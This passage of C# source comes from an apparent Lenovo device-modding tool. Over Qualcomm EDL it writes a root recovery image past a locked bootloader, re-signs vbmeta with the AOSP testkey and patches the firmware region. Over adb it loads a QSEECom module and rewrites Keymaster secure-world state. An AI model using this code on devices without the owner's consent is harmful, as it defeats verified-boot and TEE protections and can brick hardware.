            throw new InvalidDataException(
                "The persisted runtime state-layout evidence does not match the original snapshots.");
        return layout;
    }

    private static string FirmwareRegionFromJournal(Journal journal)
    {
        string[] regions = journal.Entries
            .Where(entry =>
                entry.Stage == "InspectFirmware" && entry.Status == "region")
            .Select(entry => entry.Detail.ToUpperInvariant())
            .Distinct(StringComparer.Ordinal)
            .ToArray();
        if (regions.Length != 1 || regions[0] is not ("PRC" or "ROW"))
            throw new InvalidDataException(
                "The session does not contain unique firmware-region evidence.");
        return regions[0];
    }

    private async Task<byte[]> ReadPrimaryExactAsync(
        Journal journal, Gpt.Geometry geometry, string fileName, CancellationToken ct)
    {
        if (_runner.IsSimulation) return (byte[])_simPrimary!.Clone();
        string path = Path.Combine(journal.SessionDir, fileName);
        await EdlAsync(new[] { "rs", "0", geometry.PrimaryCaptureSectors.ToString(), path }, ct);
        return File.ReadAllBytes(path);
    }

    private async Task<byte[]> ReadBackupHeaderAsync(
        Journal journal, Gpt.PrimaryGeometry geometry, CancellationToken ct)
    {
        if (_runner.IsSimulation)
        {
            byte[] simulatedBackup = _simBackup
                ?? throw new InvalidOperationException("Simulated backup GPT is not initialized.");
            return simulatedBackup.AsSpan(
                simulatedBackup.Length - geometry.SectorSize, geometry.SectorSize).ToArray();
        }
        string path = Path.Combine(journal.SessionDir, "gpt-backup-header-probe.bin");
        await EdlAsync(new[]
        {
            "rs", geometry.BackupHeaderLba.ToString(), "1", path
        }, ct);
        return File.ReadAllBytes(path);
    }

    private async Task<byte[]> ReadBackupAsync(
        Journal journal,
        Gpt.Geometry geometry,
        CancellationToken ct,
        string fileName = "gpt-backup-original.bin",
        byte[]? knownHeader = null)
    {
        if (_runner.IsSimulation) return (byte[])_simBackup!.Clone();
        string normalizedPath = Path.Combine(journal.SessionDir, fileName);
        string entriesPath = normalizedPath + ".entries.bin";
        string headerPath = normalizedPath + ".header.bin";
        await EdlAsync(new[]
        {
            "rs", geometry.BackupEntryLba.ToString(),
            geometry.BackupEntrySectors.ToString(), entriesPath
        }, ct);
        byte[] header;
        if (knownHeader != null)
        {
            header = knownHeader;
            File.WriteAllBytes(headerPath, header);
        }
        else
        {
            await EdlAsync(new[] { "rs", geometry.BackupHeaderLba.ToString(), "1", headerPath }, ct);
            header = File.ReadAllBytes(headerPath);
        }
        byte[] entries = File.ReadAllBytes(entriesPath);
        if (entries.Length != checked(geometry.BackupEntrySectors * geometry.SectorSize) ||
            header.Length != geometry.SectorSize)
            throw new InvalidDataException("Backup GPT component read returned an unexpected length.");
        byte[] normalized = new byte[entries.Length + header.Length];
        entries.CopyTo(normalized, 0);
        header.CopyTo(normalized, entries.Length);
        File.WriteAllBytes(normalizedPath, normalized);
        return normalized;
    }

    private async Task WriteBackupAsync(
        Gpt.Geometry geometry, string imagePath, byte[] image, CancellationToken ct)
    {
        int entriesBytes = checked(geometry.BackupEntrySectors * geometry.SectorSize);
        if (image.Length != entriesBytes + geometry.SectorSize)
            throw new InvalidDataException("Normalized backup GPT image length does not match live geometry.");
        if (_runner.IsSimulation)
        {
            _simBackup = (byte[])image.Clone();
            await _runner.RunAsync("edl.py", new[] { "ws-backup-entries", geometry.BackupEntryLba.ToString() }, _appRoot, ct);
            await _runner.RunAsync("edl.py", new[] { "ws-backup-header", geometry.BackupHeaderLba.ToString() }, _appRoot, ct);
            return;
        }

        string entriesPath = imagePath + ".entries.bin";
        string headerPath = imagePath + ".header.bin";
        File.WriteAllBytes(entriesPath, image.AsSpan(0, entriesBytes).ToArray());
        File.WriteAllBytes(headerPath, image.AsSpan(entriesBytes, geometry.SectorSize).ToArray());
        await EdlAsync(new[] { "ws", geometry.BackupEntryLba.ToString(), entriesPath }, CancellationToken.None);
        await EdlAsync(new[] { "ws", geometry.BackupHeaderLba.ToString(), headerPath }, CancellationToken.None);
    }

    private async Task WriteSectorsAsync(
        ulong startLba, string imagePath, byte[] image, bool backup, CancellationToken ct)
    {
        if (_runner.IsSimulation)
        {
            if (backup) _simBackup = (byte[])image.Clone();
            else _simPrimary = (byte[])image.Clone();
            await _runner.RunAsync("edl.py", new[] { "ws", startLba.ToString(), imagePath }, _appRoot, ct);
            return;
        }
        await EdlAsync(new[] { "ws", startLba.ToString(), imagePath }, CancellationToken.None);
    }

    /// <summary>
    /// Writes the temporary root environment image (assets/device/<model>/recovery.img) through EDL
    /// instead of `fastboot flash`, so a locked bootloader cannot block the workflow. Every recovery
    /// partition receives the image because no bootloader transport is required to determine a slot;
    /// each write is read back and compared, and each original was captured and hashed beforehand.
    /// </summary>
    private async Task WriteTemporaryRootAsync(
        Journal journal, WorkflowProgress? progress, Gpt.TableInfo table, CancellationToken ct)
    {
        IReadOnlyList<RecoveryPartition.Target> targets = RecoveryPartition.FindRecoveryPartitions(table);
        if (_runner.IsSimulation)
        {
            progress?.AppendLog("[info] Simulation: temporary root image write acknowledged.");
            foreach (RecoveryPartition.Target target in targets)
                await _runner.RunAsync("edl.py",
                    new[] { "ws-temporary-root", target.PartitionName, target.FirstLba.ToString() }, _appRoot, ct);
            return;
        }

        if (targets.Count == 0)
            throw new InvalidOperationException(
                "The live GPT contains no recovery_a, recovery_b, or recovery partition to hold the temporary root environment.");

        DeviceAssetPackage package = _selectedPackage
            ?? throw new InvalidOperationException("No compatible device asset package was selected during firmware inspection.");
        string imagePath = package.RecoveryPath;
        if (!File.Exists(imagePath))
            throw new FileNotFoundException(
                $"The temporary root recovery image was not found at '{imagePath}'.", imagePath);

        int sectorSize = table.SectorSize;
        byte[] payload = PadToSector(File.ReadAllBytes(imagePath), sectorSize);
        ulong payloadSectors = (ulong)(payload.Length / sectorSize);
        foreach (RecoveryPartition.Target target in targets)
        {
            ulong partitionSectors = target.LastLba - target.FirstLba + 1;
            if (payloadSectors > partitionSectors)
                throw new InvalidDataException(
                    $"The temporary root image ({payload.Length} bytes) does not fit {target.PartitionName} " +
                    $"({partitionSectors * (ulong)sectorSize} bytes).");
            if (!File.Exists(RecoveryPartition.BackupPath(journal.SessionDir, target.PartitionName)))
                throw new FileNotFoundException(
                    $"The session has no backup of {target.PartitionName}; refusing to overwrite it.");
        }

        foreach (RecoveryPartition.Target target in targets)
        {
            string writePath = Path.Combine(journal.SessionDir, target.PartitionName + "-temporary-root.img");
            File.WriteAllBytes(writePath, payload);
            progress?.AppendLog($"[info] Writing the temporary root image to {target.PartitionName} via EDL...");
            journal.Append(
                "WriteTemporaryRoot",
                "write-started",
                $"{target.PartitionName} at LBA {target.FirstLba}");
            await WriteSectorsAsync(target.FirstLba, writePath, payload, backup: false, ct);
            string readbackPath = writePath + ".readback.bin";
            await EdlAsync(new[]
            {
                "rs", target.FirstLba.ToString(), payloadSectors.ToString(), readbackPath
            }, ct);
            VerifyExact(payload, File.ReadAllBytes(readbackPath), $"{target.PartitionName} temporary root");
            journal.Append("WriteTemporaryRoot", "verified", $"{target.PartitionName} at LBA {target.FirstLba}");
        }
    }

    private async Task RestoreTemporaryRootAsync(
        Journal journal, WorkflowProgress? progress, byte[] primaryOriginal, CancellationToken ct)
    {
        var originalTable = Gpt.Parse(primaryOriginal, backup: false);
        foreach (RecoveryPartition.Target target in RecoveryPartition.FindRecoveryPartitions(originalTable))
        {
            bool written = journal.Entries.Any(entry =>
                entry.Stage == "WriteTemporaryRoot" &&
                (entry.Status == "write-started" || entry.Status == "verified") &&
                entry.Detail.StartsWith(target.PartitionName + " ", StringComparison.Ordinal));
            if (!written) continue;
            if (_runner.IsSimulation)
            {
                await _runner.RunAsync("edl.py",
                    new[] { "restore-temporary-root", target.PartitionName, target.FirstLba.ToString() }, _appRoot, ct);
                continue;
            }

            string originalPath = RecoveryPartition.BackupPath(journal.SessionDir, target.PartitionName);
            if (!File.Exists(originalPath))
                throw new FileNotFoundException($"The session has no backup for {target.PartitionName}.", originalPath);
            byte[] original = File.ReadAllBytes(originalPath);
            if (original.Length % originalTable.SectorSize != 0)
                throw new InvalidDataException($"The {target.PartitionName} backup is not sector aligned.");
            progress?.AppendLog($"[info] Restoring the original {target.PartitionName} via EDL...");
            await WriteSectorsAsync(target.FirstLba, originalPath, original, backup: false, ct);
            string readbackPath = originalPath + ".restored-readback.bin";
            await EdlAsync(new[]
            {
                "rs", target.FirstLba.ToString(),
                (original.Length / originalTable.SectorSize).ToString(), readbackPath
            }, ct);
            VerifyExact(original, File.ReadAllBytes(readbackPath), $"{target.PartitionName} restored");
        }
    }

    private async Task PrepareRecoveryBootAsync(
        Journal journal, WorkflowProgress? progress, CancellationToken ct)
    {
        if (_runner.IsSimulation)
        {
            await _runner.RunAsync(
                "edl.py", new[] { "prepare-recovery-boot" }, _appRoot, ct);
            return;
        }

        RecoveryBootTargetInfo target = LoadRecoveryBootTarget(journal);
        int sectorCount = RecoveryBootRequest.RequiredSectorCount(target.SectorSize);
        string originalPath = Path.Combine(journal.SessionDir, "misc-bcb-original.bin");
        string hashPath = originalPath + ".sha256";
        if (!File.Exists(originalPath) || !File.Exists(hashPath))
            throw new FileNotFoundException(
                "The preflight did not save a complete original misc BCB.", originalPath);
        byte[] original = File.ReadAllBytes(originalPath);
        int expectedBytes = checked(sectorCount * target.SectorSize);
        if (original.Length != expectedBytes)
            throw new InvalidDataException(
                $"The saved misc BCB contains {original.Length} bytes; expected {expectedBytes}.");
        string expectedHash = File.ReadAllText(hashPath).Trim();
        if (!RecoveryPartition.HashSha256(original).Equals(
                expectedHash, StringComparison.OrdinalIgnoreCase))
            throw new InvalidDataException(
                "The saved original misc BCB failed its SHA-256 integrity check.");

        byte[] request = RecoveryBootRequest.Create(original);
        string requestPath = Path.Combine(journal.SessionDir, "misc-bcb-recovery.img");
        File.WriteAllBytes(requestPath, request);
        progress?.AppendLog(
            $"[info] Writing one-shot boot-recovery BCB to {target.PartitionName} on LUN {target.Lun} at LBA {target.FirstLba}...");
        journal.Append(
            "PrepareRecoveryBoot",
            "write-started",
            $"{target.PartitionName} lun={target.Lun} lba={target.FirstLba} sectors={sectorCount}");
        await EdlAsync(
            new[] { "ws", target.FirstLba.ToString(), requestPath },
            CancellationToken.None,
            lunOverride: target.Lun);

        string readbackPath = requestPath + ".readback.bin";
        await EdlAsync(new[]
        {
            "rs", target.FirstLba.ToString(), sectorCount.ToString(), readbackPath
        }, ct, lunOverride: target.Lun);
        VerifyExact(request, File.ReadAllBytes(readbackPath), "Recovery boot BCB");
        journal.Append("PrepareRecoveryBoot", "verified",
            $"{target.PartitionName} lun={target.Lun} lba={target.FirstLba} sectors={sectorCount}");
    }

    private async Task RestoreRecoveryBootAsync(
        Journal journal, WorkflowProgress? progress, CancellationToken ct)
    {
        if (_runner.IsSimulation)
        {
            await _runner.RunAsync(
                "edl.py", new[] { "restore-recovery-boot" }, _appRoot, ct);
            return;
        }

        string originalPath = Path.Combine(journal.SessionDir, "misc-bcb-original.bin");
        string hashPath = originalPath + ".sha256";
        bool recoveryBootWasWritten = journal.Entries.Any(entry =>
            entry.Stage == "PrepareRecoveryBoot" &&
            (entry.Status == "write-started" || entry.Status == "verified"));
        if (!recoveryBootWasWritten)
        {
            progress?.AppendLog(
                "[info] No recovery BCB write was verified for this session; skipping BCB restoration.");
            return;
        }
        if (!File.Exists(originalPath) || !File.Exists(hashPath))
            throw new FileNotFoundException(
                "The session does not contain a complete original misc BCB backup.", originalPath);

        byte[] original = File.ReadAllBytes(originalPath);
        string expectedHash = File.ReadAllText(hashPath).Trim();
        if (!RecoveryPartition.HashSha256(original).Equals(expectedHash, StringComparison.OrdinalIgnoreCase))
            throw new InvalidDataException("The saved original misc BCB failed its SHA-256 integrity check.");

        RecoveryBootTargetInfo target = LoadRecoveryBootTarget(journal);
        int sectorCount = RecoveryBootRequest.RequiredSectorCount(target.SectorSize);
        if (original.Length != checked(sectorCount * target.SectorSize))
            throw new InvalidDataException("The saved original misc BCB length does not match live GPT geometry.");

        progress?.AppendLog(
            $"[info] Restoring the original {target.PartitionName} bootloader message on LUN {target.Lun} via EDL...");
        await EdlAsync(
            new[] { "ws", target.FirstLba.ToString(), originalPath },
            CancellationToken.None,
            lunOverride: target.Lun);
        string readbackPath = originalPath + ".restored-readback.bin";
        await EdlAsync(new[]
        {
            "rs", target.FirstLba.ToString(), sectorCount.ToString(), readbackPath
        }, ct, lunOverride: target.Lun);
        VerifyExact(original, File.ReadAllBytes(readbackPath), "Original misc BCB");
    }

    private static byte[] PadToSector(byte[] data, int sectorSize)
    {
        int remainder = data.Length % sectorSize;
        if (remainder == 0) return data;
        byte[] padded = new byte[data.Length + (sectorSize - remainder)];
        data.CopyTo(padded, 0);
        return padded;
    }

    private async Task ReadPartitionAsync(RecoveryPartition.Target target, string output, CancellationToken ct)
    {
        if (_runner.IsSimulation) return;
        ulong sectors = checked(target.LastLba - target.FirstLba + 1);
        await EdlAsync(new[] { "rs", target.FirstLba.ToString(), sectors.ToString(), output }, ct);
    }

    private async Task<DeviceAssetPackage> InspectFirmwareAndSelectPackageAsync(
        Journal journal,
        WorkflowProgress? progress,
        Gpt.TableInfo table,
        IReadOnlyList<RecoveryPartition.Target> recoveryTargets,
        CancellationToken ct)
    {
        DeviceAssetDiscovery discovery = DeviceAssetCatalog.Discover(_appRoot);
        if (discovery.Packages.Count == 0)
        {
            string detail = discovery.Rejected.Count > 0 ? " " + string.Join(" ", discovery.Rejected) : "";
            throw new InvalidOperationException(DeviceAssetCatalog.NoValidPackageMessage + detail);
        }

        if (_runner.IsSimulation)
        {
            DeviceAssetPackage simPackage = discovery.Packages[0];
            progress?.AppendLog($"[info] Simulation: using device asset package for {simPackage.Model}.");
            journal.Append("InspectFirmware", "region", "PRC");
            return simPackage;
        }

        string? detectedModel = null;
        string? targetFamily = null;
        foreach (RecoveryPartition.Target target in recoveryTargets)
        {
            string recPath = RecoveryPartition.BackupPath(journal.SessionDir, target.PartitionName);
            if (!File.Exists(recPath)) continue;
            byte[] bytes = File.ReadAllBytes(recPath);
            AvbImage avb;
            try
            {
                avb = AvbImage.Parse(bytes);
            }
            catch (Exception ex)
            {
                progress?.AppendLog($"[warning] {target.PartitionName} does not contain verifiable AVB metadata: {ex.Message}");
                continue;
            }

            if (!avb.IsTrustedTestKey)
                throw new InvalidOperationException(
                    $"Live {target.PartitionName} is signed with key {avb.PublicKeySha1}, " +
                    $"expected AOSP testkey {TrustedAospKeySha1}.");
            if (avb.Model == null || avb.Family == null)
                throw new InvalidOperationException(
                    $"Verified live {target.PartitionName} does not identify a supported Lenovo model family.");

            detectedModel = avb.Model;
            targetFamily = avb.Family;
            progress?.AppendLog(
                $"[info] Verified {target.PartitionName} AVB signature once " +
                $"(key SHA-1: {avb.PublicKeySha1}, model: {detectedModel}).");
            break;
        }

        if (detectedModel == null || targetFamily == null)
            throw new InvalidOperationException(
                "No live recovery image with a verifiable AOSP testkey signature and model fingerprint was found.");

        var vendorBoots = RecoveryPartition.FindVendorBootPartitions(table);
        RecoveryPartition.Target? vendorBoot = vendorBoots.FirstOrDefault(
            target => target.PartitionName.EndsWith("_a", StringComparison.OrdinalIgnoreCase))
            ?? vendorBoots.FirstOrDefault();
        if (vendorBoot == null)
            throw new InvalidOperationException(
                "Live GPT does not contain a vendor_boot partition for region detection.");

        string firmwareRegion;
        string path = Path.Combine(
            journal.SessionDir, vendorBoot.PartitionName + "-original.img");
        try
        {
            if (!File.Exists(path))
                await ReadPartitionAsync(vendorBoot, path, ct);
            byte[] bytes = File.ReadAllBytes(path);
            File.WriteAllText(
                path + ".sha256", RecoveryPartition.HashSha256(bytes));
            firmwareRegion = RegionPatcher.DetectRegion(bytes);
            progress?.AppendLog(
                $"[info] Validated {vendorBoot.PartitionName} AVB footer payload digest " +
                $"and detected firmware region {firmwareRegion}.");
        }
        catch (Exception exception)
        {
            throw new InvalidOperationException(
                $"Could not verify live {vendorBoot.PartitionName} region evidence: {exception.Message}",
                exception);
        }
        journal.Append("InspectFirmware", "region", firmwareRegion);

        progress?.AppendLog($"[info] Detected device family: {targetFamily} (model: {detectedModel}).");

        DeviceAssetPackage? matchedPackage = discovery.Packages
            .FirstOrDefault(pkg => string.Equals(pkg.Model, detectedModel, StringComparison.Ordinal))
            ?? discovery.Packages
            .FirstOrDefault(pkg => string.Equals(AvbImage.NormalizeFamily(pkg.Model), targetFamily, StringComparison.OrdinalIgnoreCase));

        if (matchedPackage == null)
            throw new InvalidOperationException(
                $"No compatible device package for detected family '{targetFamily}' was found in 'assets/device/'. " +
                $"Available packages: {string.Join(", ", discovery.Packages.Select(p => p.Model))}.");

        byte[] candidateBytes = File.ReadAllBytes(matchedPackage.RecoveryPath);
        AvbImage candidateAvb;
        try
        {
            candidateAvb = AvbImage.Parse(candidateBytes);
        }
        catch (Exception ex)
        {
            throw new InvalidOperationException($"The packaged recovery image at '{matchedPackage.RecoveryPath}' failed AVB validation: {ex.Message}");
        }

        if (!string.Equals(candidateAvb.PublicKeySha1, TrustedAospKeySha1, StringComparison.OrdinalIgnoreCase))
            throw new InvalidOperationException(
                $"The packaged recovery image is signed with key {candidateAvb.PublicKeySha1}, expected AOSP testkey {TrustedAospKeySha1}.");

        string? candidateFamily = candidateAvb.Family ?? AvbImage.NormalizeFamily(matchedPackage.Model);
        if (!string.Equals(candidateFamily, targetFamily, StringComparison.OrdinalIgnoreCase))
            throw new InvalidOperationException(
                $"The packaged recovery image family '{candidateFamily}' does not match detected device family '{targetFamily}'.");

        progress?.AppendLog($"[info] Selected and verified device package '{matchedPackage.Model}' for device family '{targetFamily}'.");
        journal.Append("InspectFirmware", "selected", $"{matchedPackage.Model} (family={targetFamily})");
        return matchedPackage;
    }

    private async Task PatchRegionImagesAsync(
        Journal journal,
        WorkflowProgress? progress,
        byte[] primaryOriginal,
        CancellationToken ct)
    {
        if (_runner.IsSimulation)
        {
            journal.Append("PatchRegionImages", "done", "simulation");
            return;
        }

        string baselinePath = Path.Combine(journal.SessionDir, "state-baseline.bin");
        string candidatePath = _targetStateImage ?? Path.Combine(journal.SessionDir, "state-baseline.candidate.bin");
        if (!File.Exists(baselinePath) || !File.Exists(candidatePath))
        {
            progress?.AppendLog("[info] No state candidate found; skipping firmware region patch.");
            journal.Append("PatchRegionImages", "skipped", "no candidate");
            return;
        }

        byte[] baseBytes = File.ReadAllBytes(baselinePath);
        byte[] candBytes = File.ReadAllBytes(candidatePath);
        RuntimeStateLayoutAnalysis layout = LoadRuntimeStateLayout(journal);
        if (baseBytes.Length != layout.StateSize ||
            candBytes.Length != layout.StateSize)
            throw new InvalidDataException(
                "Region patch inputs do not match the runtime-discovered state size.");
        string baseRegion = System.Text.Encoding.ASCII.GetString(
            baseBytes, layout.RegionOffset, 3);
        string candRegion = RuntimeStateLayout.ValidateCandidate(
            candBytes, layout);
        if (!baseRegion.Equals(layout.Region, StringComparison.Ordinal))
            throw new InvalidDataException(
                "The baseline region token does not match runtime layout evidence.");

        if (string.Equals(baseRegion, candRegion, StringComparison.Ordinal))
        {
            progress?.AppendLog($"[info] Region unchanged ({baseRegion}); skipping firmware region patch.");
            journal.Append("PatchRegionImages", "skipped", $"region unchanged ({baseRegion})");
            return;
        }

        progress?.AppendLog($"[info] Region change detected: {baseRegion} -> {candRegion}. Preparing vendor_boot and vbmeta patch...");

        var table = Gpt.Parse(primaryOriginal, backup: false);
        var vendorBoots = RecoveryPartition.FindVendorBootPartitions(table);
        var vbmetas = RecoveryPartition.FindVbmetaPartitions(table);

        if (vendorBoots.Count == 0 || vbmetas.Count == 0)
            throw new InvalidOperationException("Live GPT does not contain required vendor_boot or vbmeta partitions for region patch.");

        foreach (var vbTarget in vendorBoots)
        {
            string vbBak = Path.Combine(journal.SessionDir, vbTarget.PartitionName + "-original.img");
            if (!File.Exists(vbBak))
            {
                progress?.AppendLog($"[info] Backing up {vbTarget.PartitionName} via EDL...");
                await ReadPartitionAsync(vbTarget, vbBak, ct);
                File.WriteAllText(vbBak + ".sha256", RecoveryPartition.HashSha256(File.ReadAllBytes(vbBak)));
            }
        }

        foreach (var vmTarget in vbmetas)
        {
            string vmBak = Path.Combine(journal.SessionDir, vmTarget.PartitionName + "-original.img");
            if (!File.Exists(vmBak))
            {
                progress?.AppendLog($"[info] Backing up {vmTarget.PartitionName} via EDL...");
                await ReadPartitionAsync(vmTarget, vmBak, ct);
                File.WriteAllText(vmBak + ".sha256", RecoveryPartition.HashSha256(File.ReadAllBytes(vmBak)));
            }
        }

        var primaryVb = vendorBoots.FirstOrDefault(t => t.PartitionName.EndsWith("_a", StringComparison.OrdinalIgnoreCase)) ?? vendorBoots[0];
        var primaryVm = vbmetas.FirstOrDefault(t => t.PartitionName.EndsWith("_a", StringComparison.OrdinalIgnoreCase)) ?? vbmetas[0];

        byte[] rawVb = File.ReadAllBytes(Path.Combine(journal.SessionDir, primaryVb.PartitionName + "-original.img"));
        byte[] rawVm = File.ReadAllBytes(Path.Combine(journal.SessionDir, primaryVm.PartitionName + "-original.img"));

        var (patchedVb, patchedVm, count) = RegionPatcher.PatchVendorBootAndVbmeta(rawVb, rawVm, candRegion);
        progress?.AppendLog($"[info] Region conversion: replaced {count} pattern(s) in vendor_boot; vbmeta re-signed with AOSP testkey.");

        int sectorSize = table.SectorSize;
        foreach (var vbTarget in vendorBoots)
        {
            string outPath = Path.Combine(journal.SessionDir, vbTarget.PartitionName + "-region-patched.img");
            byte[] payload = PadToSector(patchedVb, sectorSize);
            ulong payloadSectors = (ulong)(payload.Length / sectorSize);
            File.WriteAllBytes(outPath, payload);

            progress?.AppendLog($"[info] Writing region-patched {vbTarget.PartitionName} via EDL...");
            journal.Append(
                "PatchRegionImages",
                "write-started",
                $"{vbTarget.PartitionName} at LBA {vbTarget.FirstLba}");
            await WriteSectorsAsync(vbTarget.FirstLba, outPath, payload, backup: false, ct);
            string readback = outPath + ".readback.bin";
            await EdlAsync(new[] { "rs", vbTarget.FirstLba.ToString(), payloadSectors.ToString(), readback }, ct);
            VerifyExact(payload, File.ReadAllBytes(readback), $"{vbTarget.PartitionName} region patch");
        }

        foreach (var vmTarget in vbmetas)
        {
            string outPath = Path.Combine(journal.SessionDir, vmTarget.PartitionName + "-region-patched.img");
            byte[] payload = PadToSector(patchedVm, sectorSize);
            ulong payloadSectors = (ulong)(payload.Length / sectorSize);
            File.WriteAllBytes(outPath, payload);

            progress?.AppendLog($"[info] Writing region-patched {vmTarget.PartitionName} via EDL...");
            journal.Append(
                "PatchRegionImages",
                "write-started",
                $"{vmTarget.PartitionName} at LBA {vmTarget.FirstLba}");
            await WriteSectorsAsync(vmTarget.FirstLba, outPath, payload, backup: false, ct);
            string readback = outPath + ".readback.bin";
            await EdlAsync(new[] { "rs", vmTarget.FirstLba.ToString(), payloadSectors.ToString(), readback }, ct);
            VerifyExact(payload, File.ReadAllBytes(readback), $"{vmTarget.PartitionName} region patch");
        }

        journal.Append("PatchRegionImages", "done", $"{baseRegion} -> {candRegion} ({count} replacements)");
    }

    private async Task RunProbeAsync(Journal journal, CancellationToken ct)
    {
        if (_runner.IsSimulation)
        {
            var state = new byte[8192];
            "ANDROID-BOOT!"u8.CopyTo(state);
            "PRC\0"u8.CopyTo(state.AsSpan(0x1100));
            File.WriteAllBytes(
                Path.Combine(journal.SessionDir, "state-baseline-first.bin"),
                state);
            File.WriteAllBytes(
                Path.Combine(journal.SessionDir, "state-baseline-second.bin"),
                state);
            return;
        }

        DateTimeOffset deadline = DateTimeOffset.UtcNow.AddSeconds(90);
        bool adbReady = false;
        while (DateTimeOffset.UtcNow < deadline)
        {
            ProcessResult devices = await _runner.RunAsync(Tool("adb"), new[] { "devices" }, _appRoot, ct);
            if (devices.Success)
            {
                foreach (string raw in devices.StandardOutput.Replace("\r", "").Split('\n'))
                {
                    string line = raw.Trim();
                    if (string.IsNullOrEmpty(line) || line.StartsWith("List of devices", StringComparison.OrdinalIgnoreCase) || line.StartsWith("*", StringComparison.OrdinalIgnoreCase))
                        continue;
                    string[] parts = line.Split((char[]?)null, StringSplitOptions.RemoveEmptyEntries);
                    if (parts.Length >= 2 &&
                        IsAdbRebootCapableState(parts[1]))
                    {
                        adbReady = true;
                        break;
                    }
                }
                if (adbReady) break;
            }
            await Task.Delay(TimeSpan.FromSeconds(1), ct);
        }

        if (!adbReady)
            throw new TimeoutException("TWRP recovery ADB was not detected within 90 seconds.");

        ProcessResult uid = await _runner.RunAsync(Tool("adb"), new[] { "shell", "id -u" }, _appRoot, ct);
        RequireSuccess(uid, "root ADB capability check");
        if (uid.StandardOutput.Trim() != "0")
            throw new InvalidOperationException("The temporary stock boot environment did not provide root ADB.");

        string module = _profile.Resolve(_appRoot, _profile.Assets.QseecomModule);
        string probe = _profile.Resolve(_appRoot, _profile.Assets.ProbeBinary);
        RequireSuccess(await _runner.RunAsync(Tool("adb"), new[] { "push", module, "/tmp/qseecom_dma_heap_phys.ko" }, _appRoot, ct), "push QSEECom module");
        RequireSuccess(await _runner.RunAsync(Tool("adb"), new[] { "push", probe, "/tmp/qcom_state_probe" }, _appRoot, ct), "push state probe");
        string shell =
            "chmod 755 /tmp/qcom_state_probe; " +
            "insmod /tmp/qseecom_dma_heap_phys.ko || test -e /dev/qseecom_ta_shm; " +
            "test -c /dev/qseecom_ta_shm; " +
            "export LD_LIBRARY_PATH=/vendor/lib64:/system/lib64; " +
            "/tmp/qcom_state_probe --dump /tmp/state-baseline-first.bin; " +
            "/tmp/qcom_state_probe --dump /tmp/state-baseline-second.bin";
        RequireSuccess(await _runner.RunAsync(Tool("adb"), new[] { "shell", shell }, _appRoot, ct), "run state probe");
    }

    private async Task PullBaselineAsync(Journal journal, CancellationToken ct)
    {
        string destination = Path.Combine(journal.SessionDir, "state-baseline.bin");
        string firstPath = Path.Combine(
            journal.SessionDir, "state-baseline-first.bin");
        string secondPath = Path.Combine(
            journal.SessionDir, "state-baseline-second.bin");
        if (!_runner.IsSimulation)
        {
            foreach (var (remote, local) in new[]
                     {
                         ("/tmp/state-baseline-first.bin", firstPath),
                         ("/tmp/state-baseline-second.bin", secondPath),
                     })
            {
                ProcessResult result = await _runner.RunAsync(
                    Tool("adb"), new[] { "pull", remote, local }, _appRoot, ct);
                RequireSuccess(result, $"pull {remote}");
            }
        }

        byte[] first = File.ReadAllBytes(firstPath);
        byte[] second = File.ReadAllBytes(secondPath);
        StateImage.ValidateBuffer(first);
        StateImage.ValidateBuffer(second);
        RuntimeStateLayoutAnalysis layout = RuntimeStateLayout.Analyze(
            first, second, FirmwareRegionFromJournal(journal));
        File.WriteAllText(
            Path.Combine(journal.SessionDir, "runtime-state-layout.json"),
            JsonSerializer.Serialize(layout));
        File.WriteAllBytes(destination, first);
        journal.Append(
            "PullBaseline",
            "layout",
            $"size={layout.StateSize} magic=0x{layout.MagicOffset:X} region=0x{layout.RegionOffset:X} value={layout.Region}");
    }

    private async Task PullResultFilesAsync(Journal journal, CancellationToken ct)
    {
        if (_runner.IsSimulation) return;
        int expectedSize = LoadRuntimeStateLayout(journal).StateSize;
        foreach (string name in new[]
                 {
                     "state-before.bin", "state-after.bin", "state-verify.bin", "state-unexpected.bin"
                 })
        {
            string destination = Path.Combine(journal.SessionDir, name);
            ProcessResult result = await _runner.RunAsync(Tool("adb"),
                new[] { "pull", "/tmp/" + name, destination }, _appRoot, ct);
            if (name != "state-unexpected.bin")
                RequireSuccess(result, "pull " + name);
            if (result.Success && new FileInfo(destination).Length != expectedSize)
                throw new InvalidDataException(
                    $"Pulled {name} does not match runtime state size {expectedSize}.");
        }
    }

    private async Task ApplyStateImageAsync(Journal journal, string? targetStateImage, CancellationToken ct)
    {
        if (targetStateImage == null) return;
        if (!File.Exists(targetStateImage))
            throw new FileNotFoundException("The selected state candidate does not exist.", targetStateImage);
        RuntimeStateLayoutAnalysis layout = LoadRuntimeStateLayout(journal);
        byte[] target = File.ReadAllBytes(targetStateImage);
        RuntimeStateLayout.ValidateCandidate(target, layout);
        if (_runner.IsSimulation)
        {
            File.Copy(targetStateImage, Path.Combine(journal.SessionDir, "state-verify.bin"), overwrite: true);
            return;
        }

        string baselinePath = Path.Combine(journal.SessionDir, "state-baseline.bin");
        RequireSuccess(await _runner.RunAsync(Tool("adb"),
            new[] { "push", baselinePath, "/tmp/state-baseline.bin" }, _appRoot, ct),
            "push state baseline");
        RequireSuccess(await _runner.RunAsync(Tool("adb"),
            new[] { "push", targetStateImage, "/tmp/state-target.bin" }, _appRoot, ct),
            "push state candidate");
        string apply =
            "export LD_LIBRARY_PATH=/vendor/lib64:/system/lib64; " +
            "/tmp/qcom_state_probe --write-image /tmp/state-target.bin " +
            "--baseline /tmp/state-baseline.bin --confirm WRITE-STATE-DYNAMIC " +
            "--before /tmp/state-before.bin --after /tmp/state-after.bin " +
            "--unexpected /tmp/state-unexpected.bin";
        RequireSuccess(await _runner.RunAsync(Tool("adb"), new[] { "shell", apply }, _appRoot, CancellationToken.None),
            "write Keymaster state image");
        string verify =
            "export LD_LIBRARY_PATH=/vendor/lib64:/system/lib64; " +
            "/tmp/qcom_state_probe --dump /tmp/state-verify.bin";
        RequireSuccess(await _runner.RunAsync(Tool("adb"), new[] { "shell", verify }, _appRoot, ct),
            "independent Keymaster state verification read");
    }

    private static string Save(Journal journal, string name, byte[] data)
    {
        string path = Path.Combine(journal.SessionDir, name);
        File.WriteAllBytes(path, data);
        return path;
    }

    private static void VerifyExact(byte[] expected, byte[] actual, string label)
    {
        if (!expected.SequenceEqual(actual)) throw new InvalidDataException(label + " readback mismatch.");
    }

    private static void RequireSuccess(ProcessResult result, string operation)
    {
        if (!result.Success)
            throw new InvalidOperationException($"{operation} failed ({result.ExitCode}): {result.StandardError.Trim()}");
    }
}